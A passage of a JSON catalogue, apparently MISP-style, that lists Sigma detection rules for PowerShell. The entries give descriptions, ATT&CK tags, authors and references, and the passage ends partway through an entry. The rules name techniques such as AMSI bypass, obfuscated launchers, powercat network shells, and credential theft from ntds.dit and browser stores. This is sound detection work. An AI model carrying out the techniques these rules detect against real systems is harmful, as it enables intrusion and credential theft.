"https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2019/10/25", - "filename": "posh_pm_clear_powershell_history.yml", - "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", - "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", - "value": "PowerShell Decompress Commands", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/8", - "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ], - "creation_date": "2020/05/02", - "filename": "posh_pm_decompress_commands.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", - "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", - "value": "Suspicious Get-ADDBAccount Usage", - "meta": { - "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ], - "creation_date": "2022/03/16", - "filename": "posh_pm_get_addbaccount.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", - "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", - "value": "PowerShell Get Clipboard", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2020/05/02", - "filename": "posh_pm_get_clipboard.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", - "value": "Invoke-Obfuscation CLIP+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "posh_pm_invoke_obfuscation_clip.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", - "uuid": "2f211361-7dce-442d-b78a-c04039677378", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation", - "meta": { - "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/11/08", - "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", - "value": "Invoke-Obfuscation STDIN+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "posh_pm_invoke_obfuscation_stdin.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", - "value": "Invoke-Obfuscation VAR+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "posh_pm_invoke_obfuscation_var.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "posh_pm_invoke_obfuscation_via_compress.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", - "value": "Invoke-Obfuscation Via Stdin", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/12", - "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", - "value": "Invoke-Obfuscation Via Use Clip", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", - "value": "Invoke-Obfuscation Via Use MSHTA", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/08", - "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", - "value": "Invoke-Obfuscation Via Use Rundll32", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/08", - "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "posh_pm_invoke_obfuscation_via_var.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", - "value": "Netcat The Powershell Version", - "meta": { - "refs": [ - "https://nmap.org/ncat/", - "https://github.com/besimorhino/powercat", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ], - "creation_date": "2021/07/21", - "filename": "posh_pm_powercat.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote PowerShell sessions", - "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", - "value": "Remote PowerShell Session (PS Module)", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2019/08/10", - "filename": "posh_pm_remote_powershell_session.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "level": "high", - "falsepositive": [ - "Legitimate use remote PowerShell sessions" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", - "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", - "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/15", - "filename": "posh_pm_susp_ad_group_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator script" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/13", - "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell download command", - "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", - "value": "Suspicious PowerShell Download", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_pm_susp_download.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", - "value": "Use Get-NetTCPConnection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ], - "creation_date": "2021/12/10", - "filename": "posh_pm_susp_get_nettcpconnection.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", - "value": "Suspicious PowerShell Invocations - Generic", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/12", - "filename": "posh_pm_susp_invocation_generic.yml", - "author": "Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Very special / sneaky PowerShell scripts" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", - "value": "Suspicious PowerShell Invocations - Specific", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/05", - "filename": "posh_pm_susp_invocation_specific.yml", - "author": "Florian Roth (rule), Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", - "value": "Suspicious Get Local Groups Information", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/12", - "filename": "posh_pm_susp_local_group_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator script" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", - "uuid": "e3818659-5016-4811-a73c-dde4679169d2", - "value": "Suspicious Computer Machine Password by PowerShell", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2022/02/21", - "filename": "posh_pm_susp_reset_computermachinepassword.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", - "uuid": "6942bd25-5970-40ab-af49-944247103358", - "value": "Suspicious Get Information for SMB Share", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/15", - "filename": "posh_pm_susp_smb_share_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Administrator script" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", - "value": "Zip A Folder With PowerShell For Staging In Temp", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ], - "creation_date": "2021/07/20", - "filename": "posh_pm_susp_zip_compress.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", - "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", - "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/05", - "filename": "posh_pm_syncappvpublishingserver_exe.yml", - "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", - "level": "medium", - "falsepositive": [ - "App-V clients" - ], - "logsource.category": "ps_module", - "logsource.product": "windows" - } - }, - { - "description": "Detecting use WinAPI Functions in PowerShell", - "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", - "value": "Accessing WinAPI in PowerShell", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1106" - ], - "creation_date": "2020/10/06", - "filename": "posh_ps_accessing_win_api.yml", - "author": "Nikita Nazarov, oscd.community, Tim Shelton", - "level": "high", - "falsepositive": [ - "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", - "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", - "value": "Access to Browser Login Data", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.003" - ], - "creation_date": "2022/01/30", - "filename": "posh_ps_access_to_browser_login_data.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", - "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", - "value": "Powershell Add Name Resolution Policy Table Rule", - "meta": { - "refs": [ - "https://twitter.com/NathanMcNulty/status/1569497348841287681", - "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565" - ], - "creation_date": "2021/09/14", - "filename": "posh_ps_add_dnsclient_rule.yml", - "author": "Borna Talebi", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", - "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", - "value": "PowerShell ADRecon Execution", - "meta": { - "refs": [ - "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", - "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/07/16", - "filename": "posh_ps_adrecon_execution.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", - "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", - "value": "AMSI Bypass Pattern Assembly GetType", - "meta": { - "refs": [ - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", - "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.execution" - ], - "creation_date": "2022/11/09", - "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", - "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", - "value": "Silence.EDA Detection", - "meta": { - "refs": [ - "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1071.004", - "attack.t1572", - "attack.impact", - "attack.t1529", - "attack.g0091", - "attack.s0363" - ], - "creation_date": "2019/11/01", - "filename": "posh_ps_apt_silence_eda.yml", - "author": "Alina Stepchenkova, Group-IB, oscd.community", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", - "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", - "value": "Get-ADUser Enumeration Using UserAccountControl Flags", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", - "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2022/03/17", - "filename": "posh_ps_as_rep_roasting.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", - "value": "Automated Collection Command PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ], - "creation_date": "2021/07/28", - "filename": "posh_ps_automated_collection.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", - "uuid": "83083ac6-1816-4e76-97d7-59af9a9ae46e", - "value": "AzureHound PowerShell Commands", - "meta": { - "refs": [ - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", - "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_azurehound_commands.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482", - "attack.t1087", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1069.001", - "attack.t1069.002", - "attack.t1069" - ], - "creation_date": "2021/10/23", - "filename": "posh_ps_azurehound_commands.yml", - "author": 